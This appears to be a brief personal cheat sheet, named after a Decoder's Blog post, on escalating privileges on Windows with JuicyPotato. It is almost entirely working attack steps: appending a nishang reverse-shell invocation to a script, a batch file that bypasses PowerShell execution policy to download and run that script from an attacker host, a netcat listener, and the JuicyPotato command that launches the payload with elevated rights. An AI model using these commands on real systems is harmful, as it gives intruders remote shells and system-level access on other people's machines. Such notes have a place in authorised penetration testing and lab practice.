No more rotten/juicy potato? – Decoder's Blog

Example

Using nishang reverse shell

/usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1

-> append Invoke-PowerShellTcp -Reverse -IPAddress <ip> -Port <port> to the end of the file to automatically execute the shell

Create and upload helper bat file to execute powershell stuff

shell.bat

cmd /c powershell.exe -ExecutionPolicy Bypass -Command IEX (New-Object System.Net.WebClient).DownloadString('http://<ip>/Invoke-PowerShellTcp.ps1')

Start listener

nc -nlvp <port>

Execute

.\JuicyPotato.exe -t * -p C:\Users\<user>\Documents\shell.bat -l 1234

-> Currently unsure why l is needed
